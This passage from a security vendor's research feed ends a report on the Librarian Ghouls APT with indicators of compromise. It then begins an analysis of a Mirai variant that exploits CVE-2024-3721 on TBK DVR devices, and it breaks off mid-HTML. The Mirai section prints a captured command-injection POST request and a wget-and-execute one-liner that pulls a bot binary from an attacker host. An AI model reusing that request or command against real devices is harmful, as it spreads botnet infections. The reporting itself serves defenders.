https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3-283x280.png 283w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3-50x50.png 50w" sizes="auto, (max-width: 408px) 100vw, 408px" /></a><p id="caption-attachment-116539" class="wp-caption-text">Directory listing on a malicious server</p></div>
<h2 id="victims">Victims</h2>
<p>Our telemetry indicated that, during the investigation period, hundreds of Russian users fell victim to this campaign. It primarily focuses on industrial enterprises, with engineering schools also being a target of interest. Furthermore, the attacks described also impacted users in Belarus and Kazakhstan.</p>
<p>The phishing emails are notably composed in Russian and include archives with Russian filenames, along with Russian-language decoy documents. This suggests that the primary targets of this campaign are likely based in Russia or speak Russian.</p>
<h2 id="about-the-attackers">About the attackers</h2>
<p>Librarian Ghouls APT exhibits traits commonly associated with hacktivist groups, such as the use of self-extracting archives and a reliance on legitimate, third-party utilities rather than custom-built malware binary modules.</p>
<p>Since the beginning of the current campaign in December 2024, we have seen frequent updates to the implants, which vary in configuration files and the bundled sets of legitimate utilities. At the time of publishing this, our data encompassed over 100 malicious files connected to this campaign.</p>
<h2 id="takeaways">Takeaways</h2>
<p>At the time of this report’s release, the Librarian Ghouls APT campaign described in it is still active, as evidenced by attacks we observed in May 2025. Consistent with previous activity, the attackers leverage third-party legitimate utilities rather than developing custom tools. All of the malicious functionality still relies on installer, command, and PowerShell scripts. We observe that the attackers are continuously refining their tactics, encompassing not only data exfiltration but also the deployment of remote access tools and the use of phishing sites for email account compromise. We constantly monitor this threat actor and will continue to share up-to-date information about its activity.</p>
<h2 id="indicators-of-compromise">Indicators of compromise</h2>
<p><em>* Additional indicators of compromise and a YARA rule for detecting Librarian Ghouls activity are available to customers of our </em><a href="https://www.kaspersky.com/enterprise-security/apt-intelligence-reporting" target="_blank" rel="noopener"><em>APT Intelligence Reporting service</em></a><em>. Contact </em><a href="mailto:intelreports@kaspersky.com" target="_blank" rel="noopener"><em>intelreports@kaspersky.com</em></a><em> for more details.</em></p>
<h3 id="implants">Implants</h3>
<p><a href="https://opentip.kaspersky.com/d8edd46220059541ff397f74bfd271336dda702c6b1869e8a081c71f595a9e68/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______adf24abdb7a69cab&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">d8edd46220059541ff397f74bfd271336dda702c6b1869e8a081c71f595a9e68</a><br />
<a href="https://opentip.kaspersky.com/2f3d67740bb7587ff70cc7319e9fe5c517c0e55345bf53e01b3019e415ff098b/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c31aa7ac989e7898&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2f3d67740bb7587ff70cc7319e9fe5c517c0e55345bf53e01b3019e415ff098b</a><br />
<a href="https://opentip.kaspersky.com/de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______53d7424a5af9e34a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617</a><br />
<a href="https://opentip.kaspersky.com/785a5b92bb8c9dbf52cfda1b28f0ac7db8ead4ec3a37cfd6470605d945ade40e/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______95de702292e293b0&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">785a5b92bb8c9dbf52cfda1b28f0ac7db8ead4ec3a37cfd6470605d945ade40e</a><br />
<a href="https://opentip.kaspersky.com/c79413ef4088b3a39fe8c7d68d2639cc69f88b10429e59dd0b4177f6b2a92351/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______df9f3be2b3c958a7&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">c79413ef4088b3a39fe8c7d68d2639cc69f88b10429e59dd0b4177f6b2a92351</a><br />
<a href="https://opentip.kaspersky.com/53fd5984c4f6551b2c1059835ea9ca6d0342d886ba7034835db2a1dd3f8f5b04/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______0f6d37fae23da320&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">53fd5984c4f6551b2c1059835ea9ca6d0342d886ba7034835db2a1dd3f8f5b04</a></p>
<h3 id="implant-configuration-files">Implant configuration files</h3>
<p><a href="https://opentip.kaspersky.com/f8c80bbecbfb38f252943ee6beec98edc93cd734ec70ccd2565ab1c4db5f072f/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______40f83574833163cc&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">f8c80bbecbfb38f252943ee6beec98edc93cd734ec70ccd2565ab1c4db5f072f</a><br />
<a href="https://opentip.kaspersky.com/4d590a9640093bbda21597233b400b037278366660ba2c3128795bc85d35be72/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a2d0c4595d710055&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">4d590a9640093bbda21597233b400b037278366660ba2c3128795bc85d35be72</a><br />
<a href="https://opentip.kaspersky.com/1b409644e86559e56add5a65552785750cd36d60745afde448cce7f6f3f09a06/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______93323bdd0967b039&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">1b409644e86559e56add5a65552785750cd36d60745afde448cce7f6f3f09a06</a><br />
<a href="https://opentip.kaspersky.com/7c4a99382dbbd7b5aaa62af0ccff68aecdde2319560bbfdaf76132b0506ab68a/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4e64991aeba8878c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">7c4a99382dbbd7b5aaa62af0ccff68aecdde2319560bbfdaf76132b0506ab68a</a><br />
<a href="https://opentip.kaspersky.com/702bf51811281aad78e6ca767586eba4b4c3a43743f8b8e56bb93bc349cb6090/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______65ab69c4dd46117a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">702bf51811281aad78e6ca767586eba4b4c3a43743f8b8e56bb93bc349cb6090</a><br />
<a href="https://opentip.kaspersky.com/311ec9208f5fe3f22733fca1e6388ea9c0327be0836c955d2cf6a22317d4bdca/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______68a80358dd3438d0&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">311ec9208f5fe3f22733fca1e6388ea9c0327be0836c955d2cf6a22317d4bdca</a></p>
<h3 id="malicious-archive-attachments">Malicious archive attachments</h3>
<p><a href="https://opentip.kaspersky.com/fd58900ea22b38bad2ef3d1b8b74f5c7023b8ca8a5b69f88cfbfe28b2c585baf/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ca063e9ea0c7b79b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">fd58900ea22b38bad2ef3d1b8b74f5c7023b8ca8a5b69f88cfbfe28b2c585baf</a><br />
<a href="https://opentip.kaspersky.com/e6ea6ce923f2eee0cd56a0874e4a0ca467711b889553259a995df686bd35de86/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______dc894bdb5b36ae4e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">e6ea6ce923f2eee0cd56a0874e4a0ca467711b889553259a995df686bd35de86</a><br />
<a href="https://opentip.kaspersky.com/6954eaed33a9d0cf7e298778ec82d31bfbdf40c813c6ac837352ce676793db74/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ade297d6bf5d9bda&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">6954eaed33a9d0cf7e298778ec82d31bfbdf40c813c6ac837352ce676793db74</a></p>
<h3 id="malicious-bat-files">Malicious BAT files</h3>
<p><a href="https://opentip.kaspersky.com/e880a1bb0e7d422b78a54b35b3f53e348ab27425f1c561db120c0411da5c1ce9/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______316a5b901e841028&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">e880a1bb0e7d422b78a54b35b3f53e348ab27425f1c561db120c0411da5c1ce9</a><br />
<a href="https://opentip.kaspersky.com/c353a708edfd0f77a486af66e407f7b78583394d7b5f994cd8d2e6e263d25968/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ef31a49d3ac426cc&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">c353a708edfd0f77a486af66e407f7b78583394d7b5f994cd8d2e6e263d25968</a><br />
<a href="https://opentip.kaspersky.com/636d4f1e3dcf0332a815ce3f526a02df3c4ef2890a74521d05d6050917596748/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c620910155370839&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">636d4f1e3dcf0332a815ce3f526a02df3c4ef2890a74521d05d6050917596748</a><br />
<a href="https://opentip.kaspersky.com/c5eeec72b5e6d0e84ff91dfdcbefbbbf441878780f887febb0caf3cbe882ec72/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b8f025269bbfe5c3&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">c5eeec72b5e6d0e84ff91dfdcbefbbbf441878780f887febb0caf3cbe882ec72</a><br />
<a href="https://opentip.kaspersky.com/8bdb8df5677a11348f5787ece3c7c94824b83ab3f31f40e361e600576909b073/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b5baf6d6204e4386&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">8bdb8df5677a11348f5787ece3c7c94824b83ab3f31f40e361e600576909b073</a><br />
<a href="https://opentip.kaspersky.com/2af2841bf925ed1875faadcbb0ef316c641e1dcdb61d1fbf80c3443c2fc9454f/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1c891646239b988f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2af2841bf925ed1875faadcbb0ef316c641e1dcdb61d1fbf80c3443c2fc9454f</a></p>
<h3 id="decoy-documents">Decoy documents</h3>
<p>cab1c4c675f1d996b659bab1ddb38af365190e450dec3d195461e4e4ccf1c286<br />
dfac7cd8d041a53405cc37a44f100f6f862ed2d930e251f4bf22f10235db4bb3<br />
977054802de7b583a38e0524feefa7356c47c53dd49de8c3d533e7689095f9ac<br />
65f7c3e16598a8cb279b86eaeda32cb7a685801ed07d36c66ff83742d41cd415<br />
a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e<br />
6c86608893463968bfda0969aa1e6401411c0882662f3e70c1ac195ee7bd1510</p>
<h3 id="malicious-ps1-scripts">Malicious PS1 scripts</h3>
<p><a href="https://opentip.kaspersky.com/8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______f0757553ed28437a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15</a><br />
<a href="https://opentip.kaspersky.com/7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6232edafc0059ec1&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a</a><br />
<a href="https://opentip.kaspersky.com/01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b27707e00ab0dcb6&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a</a></p>
<p><strong>Miner installer (install.exe)</strong><br />
<a href="https://opentip.kaspersky.com/649ee35ad29945e8dd6511192483dddfdfe516a1312de5e0bd17fdd0a258c27f/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______174435c19f87054a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">649ee35ad29945e8dd6511192483dddfdfe516a1312de5e0bd17fdd0a258c27f</a></p>
<p><strong>Miner controller (bmcontrol.exe)</strong><br />
<a href="https://opentip.kaspersky.com/9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______5e709c53f2a3db3f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f</a></p>
<p><strong>Miner launcher (run.exe)</strong><br />
<a href="https://opentip.kaspersky.com/d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9dd68fb3baf6c4b4&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839</a></p>
<h3 id="legitimate-software">Legitimate software</h3>
<p><strong>AnyDesk</strong><br />
<strong>Blat</strong><br />
<strong>curl</strong><br />
<strong>Defender Control</strong><br />
<strong>Customized RAR 3.80</strong><br />
<strong>AnyDesk</strong><br />
<strong>Mipko Personal Monitor</strong><br />
<strong>ngrok</strong><br />
<strong>NirCmd</strong><br />
<strong>4t Tray Minimizer</strong><br />
<strong>WebBrowserPassView</strong></p>
<h3 id="librarian-ghouls-malicious-domains">Librarian Ghouls malicious domains</h3>
<p><a href="https://opentip.kaspersky.com/vniir.space/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9502c558d867a8d9&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">vniir[.]space</a><br />
<a href="https://opentip.kaspersky.com/vniir.nl/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______0e636fb1549d0169&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">vniir[.]nl</a><br />
<a href="https://opentip.kaspersky.com/hostingforme.nl/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e61fe25a8c34d281&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hostingforme[.]nl</a><br />
<a href="https://opentip.kaspersky.com/mail-cheker.nl/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______bcd6467cb60e2786&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">mail-cheker[.]nl</a><br />
<a href="https://opentip.kaspersky.com/unifikator.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9d6a78151a150e26&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">unifikator[.]ru</a><br />
<a href="https://opentip.kaspersky.com/outinfo.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______cd610dfe5d103022&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">outinfo[.]ru</a><br />
<a href="https://opentip.kaspersky.com/anyhostings.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e649e0fff731af9a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">anyhostings[.]ru</a><br />
<a href="https://opentip.kaspersky.com/center-mail.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______5bfd54553a1d0b63&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">center-mail[.]ru</a><br />
<a href="https://opentip.kaspersky.com/redaction-voenmeh.info/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e9f97862db1b8839&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">redaction-voenmeh[.]info</a><br />
<a href="https://opentip.kaspersky.com/acountservices.nl/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______57ad99150fb110a9&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">acountservices[.]nl</a><br />
<a href="https://opentip.kaspersky.com/accouts-verification.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______3d341e06195a1983&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">accouts-verification[.]ru</a><br />
<a href="https://opentip.kaspersky.com/office-email.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e5330c8a0b58d099&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">office-email[.]ru</a><br />
<a href="https://opentip.kaspersky.com/email-office.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4b0edb6b5072f7d8&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">email-office[.]ru</a><br />
<a href="https://opentip.kaspersky.com/email-informer.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6a73727ef10b4d4c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">email-informer[.]ru</a><br />
<a href="https://opentip.kaspersky.com/office-account.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______024df3af7feb7539&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">office-account[.]ru</a><br />
<a href="https://opentip.kaspersky.com/deauthorization.online/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6094f2b128789861&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">deauthorization[.]online</a><br />
<a href="https://opentip.kaspersky.com/anyinfos.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______eb14d281d2bae0d7&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">anyinfos[.]ru</a><br />
<a href="https://opentip.kaspersky.com/verifikations.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______94630862f2c5471a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">verifikations[.]ru</a><br />
<a href="https://opentip.kaspersky.com/claud-mail.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______909f7dce262e65b8&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">claud-mail[.]ru</a><br />
<a href="https://opentip.kaspersky.com/users-mail.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6d4e16f3513ebb6f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">users-mail[.]ru</a><br />
<a href="https://opentip.kaspersky.com/detectis.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4907f2ac6deda25b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">detectis[.]ru</a><br />
<a href="https://opentip.kaspersky.com/supersuit.site/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______5b184f686761e976&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">supersuit[.]site</a><br />
<a href="https://opentip.kaspersky.com/downdown.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a3856fd4c7ccda85&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">downdown[.]ru</a><br />
<a href="https://opentip.kaspersky.com/dragonfires.ru/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a8e18d0157e42f0d&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">dragonfires[.]ru</a><br />
<a href="https://opentip.kaspersky.com/bmapps.org/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d0d3426800d0cc6e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">bmapps[.]org</a></p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto/116536/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/27094643/librarian-ghouls-featured-image.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/27094643/librarian-ghouls-featured-image-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/27094643/librarian-ghouls-featured-image-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/27094643/librarian-ghouls-featured-image-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>Analysis of the latest Mirai wave exploiting TBK DVR devices with CVE-2024-3721</title>
<link>https://securelist.com/mirai-botnet-variant-targets-dvr-devices-with-cve-2024-3721/116742/</link>
<comments>https://securelist.com/mirai-botnet-variant-targets-dvr-devices-with-cve-2024-3721/116742/#respond</comments>
<dc:creator><![CDATA[Anderson Leite]]></dc:creator>
<pubDate>Fri, 06 Jun 2025 10:00:38 +0000</pubDate>
<category><![CDATA[GReAT research]]></category>
<category><![CDATA[Botnets]]></category>
<category><![CDATA[Malware Technologies]]></category>
<category><![CDATA[Linux]]></category>
<category><![CDATA[Data Encryption]]></category>
<category><![CDATA[Vulnerabilities]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Internet of Things]]></category>
<category><![CDATA[Mirai]]></category>
<category><![CDATA[Honeypot]]></category>
<category><![CDATA[CVE]]></category>
<category><![CDATA[RC4]]></category>
<category><![CDATA[Vulnerabilities and exploits]]></category>
<category><![CDATA[Secure environment (IoT)]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116742</guid>
<description><![CDATA[Kaspersky GReAT experts describe the new features of a Mirai variant: the latest botnet infections target TBK DVR devices with CVE-2024-3721.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/06101530/mirai-botnet-dvr-featured-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p>The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.</p>
<p>We recently observed the use of <a href="https://www.cve.org/CVERecord?id=CVE-2024-3721" target="_blank" rel="noopener">CVE-2024-3721</a> in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous <a href="https://securelist.com/tag/mirai/" target="_blank" rel="noopener">Mirai botnet</a>, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.</p>
<h2 id="exploitation">Exploitation</h2>
<p>During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a <a href="https://github.com/netsecfish/tbk_dvr_command_injection" target="_blank" rel="noopener">CVE-2024-3721</a>. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:</p>
<pre class="urvanov-syntax-highlighter-plain-tag">"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"</pre> </p>
<p>The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.</p><pre class="urvanov-syntax-highlighter-plain-tag">cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk</pre><p>
Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. However, in this case, since the attack is specifically targeted at devices that only support ARM32 binaries, the reconnaissance stage is unnecessary.</p>
<h2 id="malware-implant-mirai-variant">Malware implant – Mirai variant</h2>
<p>The source code of the Mirai botnet was published on the internet nearly a decade ago, and since then, it has been adapted and modified by various cybercriminal groups to create large-scale botnets mostly focused on DDoS and resource hijacking.</p>
<p>The DVR bot is also based on the Mirai source code but it includes different features as well, such as string encryption using RC4, anti-VM checks, and anti-emulation techniques. We’ve already covered Mirai <a href="https://securelist.com/tag/mirai/" target="_blank" rel="noopener">in many posts</a>, so we’ll focus on the new features of this specific variant.</p>
<h3 id="data-decryption">Data decryption</h3>
<p>The data decryption routine in this variant is implemented as a simple RC4 algorithm.</p>
<p>The RC4 key is encrypted with XOR. After the key decryption, we were able to obtain its value: <code>6e7976666525a97639777d2d7f303177</code>.</p>
<p>The decrypted RC4 key is used to decrypt the strings. After each piece of data is decrypted, it is inserted into a vector of a custom <code>DataDecrypted</code> structure, which is a simple string list:</p>
<div id="attachment_116743" style="width: 648px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225225/mirai-botnet-variant1.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116743" class="size-full wp-image-116743" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225225/mirai-botnet-variant1.png" alt="Data decryption routine" width="638" height="313" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225225/mirai-botnet-variant1.png 638w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225225/mirai-botnet-variant1-300x147.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225225/mirai-botnet-variant1-571x280.png 571w" sizes="auto, (max-width: 638px) 100vw, 638px" /></a><p id="caption-attachment-116743" class="wp-caption-text">Data decryption routine</p></div>
<p>The global linked list with decrypted data is accessed whenever the malware needs particular strings.</p>
<div id="attachment_116744" style="width: 432px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225307/mirai-botnet-variant2.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116744" class="size-full wp-image-116744" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225307/mirai-botnet-variant2.png" alt="Adding decrypted strings to the global list" width="422" height="137" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225307/mirai-botnet-variant2.png 422w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225307/mirai-botnet-variant2-300x97.png 300w" sizes="auto, (max-width: 422px) 100vw, 422px" /></a><p id="caption-attachment-116744" class="wp-caption-text">Adding decrypted strings to the global list</p></div>
<h3 id="anti-vm-and-anti-emulation">Anti-VM and anti-emulation</h3>
<p>To detect if it is currently running inside a virtual machine or QEMU, the malware lists all processes until it finds any mention of VMware or QEMU-arm. Listing running processes is simply a matter of opening the <code>/proc</code> directory, which is the proc filesystem on Linux.</p>
<p>Each process ID (PID) has its own folder containing useful information, such as <code>cmdline</code>, which describes the command used to start the process. Using this information, the malware verifies if there are any processes with <code>VMware</code> or <code>QEMU-arm</code> in their command line.</p>
<div id="attachment_116745" style="width: 938px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116745" class="size-full wp-image-116745" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3.png" alt="Process check" width="928" height="391" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3.png 928w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3-300x126.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3-768x324.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3-831x350.png 831w, 